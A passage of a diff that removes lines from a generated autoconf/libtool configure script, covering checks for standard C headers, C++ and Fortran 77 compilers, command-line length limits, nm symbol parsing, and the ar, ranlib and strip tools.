- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdlib.h>
-#include <stdarg.h>
-#include <string.h>
-#include <float.h>
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_header_stdc=yes
-else
- ac_cv_header_stdc=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-if test $ac_cv_header_stdc = yes; then
- # SunOS 4.x string.h does not declare mem*, contrary to ANSI.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <string.h>
-
-_ACEOF
-if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
- $EGREP "memchr" >/dev/null 2>&1; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f conftest*
-
-fi
-
-if test $ac_cv_header_stdc = yes; then
- # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdlib.h>
-
-_ACEOF
-if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
- $EGREP "free" >/dev/null 2>&1; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f conftest*
-
-fi
-
-if test $ac_cv_header_stdc = yes; then
- # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi.
- if test "$cross_compiling" = yes; then :
- :
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <ctype.h>
-#include <stdlib.h>
-#if ((' ' & 0x0FF) == 0x020)
-# define ISLOWER(c) ('a' <= (c) && (c) <= 'z')
-# define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c))
-#else
-# define ISLOWER(c) \
- (('a' <= (c) && (c) <= 'i') \
- || ('j' <= (c) && (c) <= 'r') \
- || ('s' <= (c) && (c) <= 'z'))
-# define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c))
-#endif
-
-#define XOR(e, f) (((e) && !(f)) || (!(e) && (f)))
-int
-main ()
-{
- int i;
- for (i = 0; i < 256; i++)
- if (XOR (islower (i), ISLOWER (i))
- || toupper (i) != TOUPPER (i))
- return 2;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_stdc" >&5
-$as_echo "$ac_cv_header_stdc" >&6; }
-if test $ac_cv_header_stdc = yes; then
-
-$as_echo "@%:@define STDC_HEADERS 1" >>confdefs.h
-
-fi
-
-# On IRIX 5.3, sys/types and inttypes.h are conflicting.
-for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \
- inttypes.h stdint.h unistd.h
-do :
- as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh`
-ac_fn_c_check_header_compile "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default
-"
-if eval test \"x\$"$as_ac_Header"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-
-done
-
-
-for ac_header in dlfcn.h
-do :
- ac_fn_c_check_header_mongrel "$LINENO" "dlfcn.h" "ac_cv_header_dlfcn_h" "$ac_includes_default"
-if test "x$ac_cv_header_dlfcn_h" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_DLFCN_H 1
-_ACEOF
-
-fi
-
-done
-
-ac_ext=cpp
-ac_cpp='$CXXCPP $CPPFLAGS'
-ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_cxx_compiler_gnu
-if test -z "$CXX"; then
- if test -n "$CCC"; then
- CXX=$CCC
- else
- if test -n "$ac_tool_prefix"; then
- for ac_prog in g++ c++ gpp aCC CC cxx cc++ cl.exe FCC KCC RCC xlC_r xlC
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- F77=$ac_ct_F77
- fi
-fi
-
-
-# Provide some information about the compiler.
-$as_echo "$as_me:${as_lineno-$LINENO}: checking for Fortran 77 compiler version" >&5
-set X $ac_compile
-ac_compiler=$2
-for ac_option in --version -v -V -qversion; do
- { { ac_try="$ac_compiler $ac_option >&5"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_compiler $ac_option >&5") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- sed '10a\
-... rest of stderr output deleted ...
- 10q' conftest.err >conftest.er1
- cat conftest.er1 >&5
- fi
- rm -f conftest.er1 conftest.err
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
-done
-rm -f a.out
-
-# If we don't use `.F' as extension, the preprocessor is not run on the
-# input file. (Note that this only needs to work for GNU compilers.)
-ac_save_ext=$ac_ext
-ac_ext=F
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are using the GNU Fortran 77 compiler" >&5
-$as_echo_n "checking whether we are using the GNU Fortran 77 compiler... " >&6; }
-if ${ac_cv_f77_compiler_gnu+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat > conftest.$ac_ext <<_ACEOF
- program main
-#ifndef __GNUC__
- choke me
-#endif
-
- end
-_ACEOF
-if ac_fn_f77_try_compile "$LINENO"; then :
- ac_compiler_gnu=yes
-else
- ac_compiler_gnu=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-ac_cv_f77_compiler_gnu=$ac_compiler_gnu
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_f77_compiler_gnu" >&5
-$as_echo "$ac_cv_f77_compiler_gnu" >&6; }
-ac_ext=$ac_save_ext
-ac_test_FFLAGS=${FFLAGS+set}
-ac_save_FFLAGS=$FFLAGS
-FFLAGS=
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether $F77 accepts -g" >&5
-$as_echo_n "checking whether $F77 accepts -g... " >&6; }
-if ${ac_cv_prog_f77_g+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- FFLAGS=-g
-cat > conftest.$ac_ext <<_ACEOF
- program main
-
- end
-_ACEOF
-if ac_fn_f77_try_compile "$LINENO"; then :
- ac_cv_prog_f77_g=yes
-else
- ac_cv_prog_f77_g=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_f77_g" >&5
-$as_echo "$ac_cv_prog_f77_g" >&6; }
-if test "$ac_test_FFLAGS" = set; then
- FFLAGS=$ac_save_FFLAGS
-elif test $ac_cv_prog_f77_g = yes; then
- if test "x$ac_cv_f77_compiler_gnu" = xyes; then
- FFLAGS="-g -O2"
- else
- FFLAGS="-g"
- fi
-else
- if test "x$ac_cv_f77_compiler_gnu" = xyes; then
- FFLAGS="-O2"
- else
- FFLAGS=
- fi
-fi
-
-if test $ac_compiler_gnu = yes; then
- G77=yes
-else
- G77=
-fi
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-
-
-# Autoconf 2.13's AC_OBJEXT and AC_EXEEXT macros only works for C compilers!
-
-# find the maximum length of command line arguments
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking the maximum length of command line arguments" >&5
-$as_echo_n "checking the maximum length of command line arguments... " >&6; }
-if ${lt_cv_sys_max_cmd_len+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- i=0
- teststring="ABCD"
-
- case $build_os in
- msdosdjgpp*)
- # On DJGPP, this test can blow up pretty badly due to problems in libc
- # (any single argument exceeding 2000 bytes causes a buffer overrun
- # during glob expansion). Even if it were fixed, the result of this
- # check would be larger than it should be.
- lt_cv_sys_max_cmd_len=12288; # 12K is about right
- ;;
-
- gnu*)
- # Under GNU Hurd, this test is not required because there is
- # no limit to the length of command line arguments.
- # Libtool will interpret -1 as no limit whatsoever
- lt_cv_sys_max_cmd_len=-1;
- ;;
-
- cygwin* | mingw*)
- # On Win9x/ME, this test blows up -- it succeeds, but takes
- # about 5 minutes as the teststring grows exponentially.
- # Worse, since 9x/ME are not pre-emptively multitasking,
- # you end up with a "frozen" computer, even though with patience
- # the test eventually succeeds (with a max line length of 256k).
- # Instead, let's just punt: use the minimum linelength reported by
- # all of the supported platforms: 8192 (on NT/2K/XP).
- lt_cv_sys_max_cmd_len=8192;
- ;;
-
- amigaos*)
- # On AmigaOS with pdksh, this test takes hours, literally.
- # So we just punt and use a minimum line length of 8192.
- lt_cv_sys_max_cmd_len=8192;
- ;;
-
- netbsd* | freebsd* | openbsd* | darwin* | dragonfly*)
- # This has been around since 386BSD, at least. Likely further.
- if test -x /sbin/sysctl; then
- lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax`
- elif test -x /usr/sbin/sysctl; then
- lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax`
- else
- lt_cv_sys_max_cmd_len=65536 # usable default for all BSDs
- fi
- # And add a safety zone
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4`
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3`
- ;;
-
- interix*)
- # We know the value 262144 and hardcode it with a safety zone (like BSD)
- lt_cv_sys_max_cmd_len=196608
- ;;
-
- osf*)
- # Dr. Hans Ekkehard Plesser reports seeing a kernel panic running configure
- # due to this test when exec_disable_arg_limit is 1 on Tru64. It is not
- # nice to cause kernel panics so lets avoid the loop below.
- # First set a reasonable default.
- lt_cv_sys_max_cmd_len=16384
- #
- if test -x /sbin/sysconfig; then
- case `/sbin/sysconfig -q proc exec_disable_arg_limit` in
- *1*) lt_cv_sys_max_cmd_len=-1 ;;
- esac
- fi
- ;;
- sco3.2v5*)
- lt_cv_sys_max_cmd_len=102400
- ;;
- sysv5* | sco5v6* | sysv4.2uw2*)
- kargmax=`grep ARG_MAX /etc/conf/cf.d/stune 2>/dev/null`
- if test -n "$kargmax"; then
- lt_cv_sys_max_cmd_len=`echo $kargmax | sed 's/.*[ ]//'`
- else
- lt_cv_sys_max_cmd_len=32768
- fi
- ;;
- *)
- # If test is not a shell built-in, we'll probably end up computing a
- # maximum length that is only half of the actual maximum length, but
- # we can't tell.
- SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}}
- while (test "X"`$SHELL $0 --fallback-echo "X$teststring" 2>/dev/null` \
- = "XX$teststring") >/dev/null 2>&1 &&
- new_result=`expr "X$teststring" : ".*" 2>&1` &&
- lt_cv_sys_max_cmd_len=$new_result &&
- test $i != 17 # 1/2 MB should be enough
- do
- i=`expr $i + 1`
- teststring=$teststring$teststring
- done
- teststring=
- # Add a significant safety factor because C++ compilers can tack on massive
- # amounts of additional arguments before passing them to the linker.
- # It appears as though 1/2 is a usable value.
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2`
- ;;
- esac
-
-fi
-
-if test -n $lt_cv_sys_max_cmd_len ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sys_max_cmd_len" >&5
-$as_echo "$lt_cv_sys_max_cmd_len" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: none" >&5
-$as_echo "none" >&6; }
-fi
-
-
-
-
-# Check for command to grab the raw symbol name followed by C symbol from nm.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking command to parse $NM output from $compiler object" >&5
-$as_echo_n "checking command to parse $NM output from $compiler object... " >&6; }
-if ${lt_cv_sys_global_symbol_pipe+:} false; then :
- $as_echo_n "(cached) " >&6
-else
-
-# These are sane defaults that work on at least a few old systems.
-# [They come from Ultrix. What could be older than Ultrix?!! ;)]
-
-# Character class describing NM global symbol codes.
-symcode='[BCDEGRST]'
-
-# Regexp to match symbols that can be accessed directly from C.
-sympat='\([_A-Za-z][_A-Za-z0-9]*\)'
-
-# Transform an extracted symbol line into a proper C declaration
-lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^. .* \(.*\)$/extern int \1;/p'"
-
-# Transform an extracted symbol line into symbol name and symbol address
-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode \([^ ]*\) \([^ ]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
-
-# Define system-specific variables.
-case $host_os in
-aix*)
- symcode='[BCDT]'
- ;;
-cygwin* | mingw* | pw32*)
- symcode='[ABCDGISTW]'
- ;;
-hpux*) # Its linker distinguishes data from code symbols
- if test "$host_cpu" = ia64; then
- symcode='[ABCDEGRST]'
- fi
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
- lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
- ;;
-linux*)
- if test "$host_cpu" = ia64; then
- symcode='[ABCDGIRSTW]'
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
- lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
- fi
- ;;
-irix* | nonstopux*)
- symcode='[BCDEGRST]'
- ;;
-osf*)
- symcode='[BCDEGQRST]'
- ;;
-solaris*)
- symcode='[BDRT]'
- ;;
-sco3.2v5*)
- symcode='[DT]'
- ;;
-sysv4.2uw2*)
- symcode='[DT]'
- ;;
-sysv5* | sco5v6* | unixware* | OpenUNIX*)
- symcode='[ABDT]'
- ;;
-sysv4)
- symcode='[DFNSTU]'
- ;;
-esac
-
-# Handle CRLF in mingw tool chain
-opt_cr=
-case $build_os in
-mingw*)
- opt_cr=`echo 'x\{0,1\}' | tr x '\015'` # option cr in regexp
- ;;
-esac
-
-# If we're using GNU nm, then use its standard symbol codes.
-case `$NM -V 2>&1` in
-*GNU* | *'with BFD'*)
- symcode='[ABCDGIRSTW]' ;;
-esac
-
-# Try without a prefix undercore, then with it.
-for ac_symprfx in "" "_"; do
-
- # Transform symcode, sympat, and symprfx into a raw symbol and a C symbol.
- symxfrm="\\1 $ac_symprfx\\2 \\2"
-
- # Write the raw and C identifiers.
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-
- rm -f conftest*
- cat > conftest.$ac_ext <<EOF
-#ifdef __cplusplus
-extern "C" {
-#endif
-char nm_test_var;
-void nm_test_func(){}
-#ifdef __cplusplus
-}
-#endif
-int main(){nm_test_var='a';nm_test_func();return(0);}
-EOF
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- # Now try to grab the symbols.
- nlist=conftest.nm
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist\""; } >&5
- (eval $NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && test -s "$nlist"; then
- # Try sorting and uniquifying the output.
- if sort "$nlist" | uniq > "$nlist"T; then
- mv -f "$nlist"T "$nlist"
- else
- rm -f "$nlist"T
- fi
-
- # Make sure that we snagged all the symbols we need.
- if grep ' nm_test_var$' "$nlist" >/dev/null; then
- if grep ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<EOF > conftest.$ac_ext
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-EOF
- # Now generate the symbol file.
- eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | grep -v main >> conftest.$ac_ext'
-
- cat <<EOF >> conftest.$ac_ext
-#if defined (__STDC__) && __STDC__
-# define lt_ptr_t void *
-#else
-# define lt_ptr_t char *
-# define const
-#endif
-
-/* The mapping between symbol names and symbols. */
-const struct {
- const char *name;
- lt_ptr_t address;
-}
-lt_preloaded_symbols[] =
-{
-EOF
- $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (lt_ptr_t) \&\2},/" < "$nlist" | grep -v main >> conftest.$ac_ext
- cat <<\EOF >> conftest.$ac_ext
- {0, (lt_ptr_t) 0}
-};
-
-#ifdef __cplusplus
-}
-#endif
-EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
- lt_save_LIBS="$LIBS"
- lt_save_CFLAGS="$CFLAGS"
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
- (eval $ac_link) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
- LIBS="$lt_save_LIBS"
- CFLAGS="$lt_save_CFLAGS"
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
- else
- echo "cannot find nm_test_var in $nlist" >&5
- fi
- else
- echo "cannot run $lt_cv_sys_global_symbol_pipe" >&5
- fi
- else
- echo "$progname: failed program was:" >&5
- cat conftest.$ac_ext >&5
- fi
- rm -f conftest* conftst*
-
- # Do not use the global_symbol_pipe unless it works.
- if test "$pipe_works" = yes; then
- break
- else
- lt_cv_sys_global_symbol_pipe=
- fi
-done
-
-fi
-
-if test -z "$lt_cv_sys_global_symbol_pipe"; then
- lt_cv_sys_global_symbol_to_cdecl=
-fi
-if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: failed" >&5
-$as_echo "failed" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ok" >&5
-$as_echo "ok" >&6; }
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for objdir" >&5
-$as_echo_n "checking for objdir... " >&6; }
-if ${lt_cv_objdir+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- rm -f .libs 2>/dev/null
-mkdir .libs 2>/dev/null
-if test -d .libs; then
- lt_cv_objdir=.libs
-else
- # MS-DOS does not allow filenames that begin with a dot.
- lt_cv_objdir=_libs
-fi
-rmdir .libs 2>/dev/null
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_objdir" >&5
-$as_echo "$lt_cv_objdir" >&6; }
-objdir=$lt_cv_objdir
-
-
-
-
-
-case $host_os in
-aix3*)
- # AIX sometimes has problems with the GCC collect2 program. For some
- # reason, if we set the COLLECT_NAMES environment variable, the problems
- # vanish in a puff of smoke.
- if test "X${COLLECT_NAMES+set}" != Xset; then
- COLLECT_NAMES=
- export COLLECT_NAMES
- fi
- ;;
-esac
-
-# Sed substitution that helps us do robust quoting. It backslashifies
-# metacharacters that are still active within double-quoted strings.
-Xsed='sed -e 1s/^X//'
-sed_quote_subst='s/\([\\"\\`$\\\\]\)/\\\1/g'
-
-# Same as above, but do not quote variable references.
-double_quote_subst='s/\([\\"\\`\\\\]\)/\\\1/g'
-
-# Sed substitution to delay expansion of an escaped shell variable in a
-# double_quote_subst'ed string.
-delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g'
-
-# Sed substitution to avoid accidental globbing in evaled expressions
-no_glob_subst='s/\*/\\\*/g'
-
-# Constants:
-rm="rm -f"
-
-# Global variables:
-default_ofile=libtool
-can_build_shared=yes
-
-# All known linkers require a `.a' archive for static linking (except MSVC,
-# which needs '.lib').
-libext=a
-ltmain="$ac_aux_dir/ltmain.sh"
-ofile="$default_ofile"
-with_gnu_ld="$lt_cv_prog_gnu_ld"
-
-if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
-set dummy ${ac_tool_prefix}ar; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_AR+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$AR"; then
- ac_cv_prog_AR="$AR" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_AR="${ac_tool_prefix}ar"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-AR=$ac_cv_prog_AR
-if test -n "$AR"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AR" >&5
-$as_echo "$AR" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_AR"; then
- ac_ct_AR=$AR
- # Extract the first word of "ar", so it can be a program name with args.
-set dummy ar; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_AR+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_AR"; then
- ac_cv_prog_ac_ct_AR="$ac_ct_AR" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_AR="ar"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_AR=$ac_cv_prog_ac_ct_AR
-if test -n "$ac_ct_AR"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_AR" >&5
-$as_echo "$ac_ct_AR" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- AR=$ac_ct_AR
- fi
-else
- AR="$ac_cv_prog_AR"
-fi
-
-if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args.
-set dummy ${ac_tool_prefix}ranlib; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_RANLIB+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$RANLIB"; then
- ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-RANLIB=$ac_cv_prog_RANLIB
-if test -n "$RANLIB"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $RANLIB" >&5
-$as_echo "$RANLIB" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_RANLIB"; then
- ac_ct_RANLIB=$RANLIB
- # Extract the first word of "ranlib", so it can be a program name with args.
-set dummy ranlib; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_RANLIB+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_RANLIB"; then
- ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_RANLIB="ranlib"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB
-if test -n "$ac_ct_RANLIB"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_RANLIB" >&5
-$as_echo "$ac_ct_RANLIB" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_RANLIB" = x; then
- RANLIB=":"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- RANLIB=$ac_ct_RANLIB
- fi
-else
- RANLIB="$ac_cv_prog_RANLIB"
-fi
-
-if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
-set dummy ${ac_tool_prefix}strip; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_STRIP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$STRIP"; then
- ac_cv_prog_STRIP="$STRIP" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_STRIP="${ac_tool_prefix}strip"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-STRIP=$ac_cv_prog_STRIP
-if test -n "$STRIP"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $STRIP" >&5
-$as_echo "$STRIP" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_STRIP"; then
- ac_ct_STRIP=$STRIP
- # Extract the first word of "strip", so it can be a program name with args.
-set dummy strip; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_STRIP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_STRIP"; then
- ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
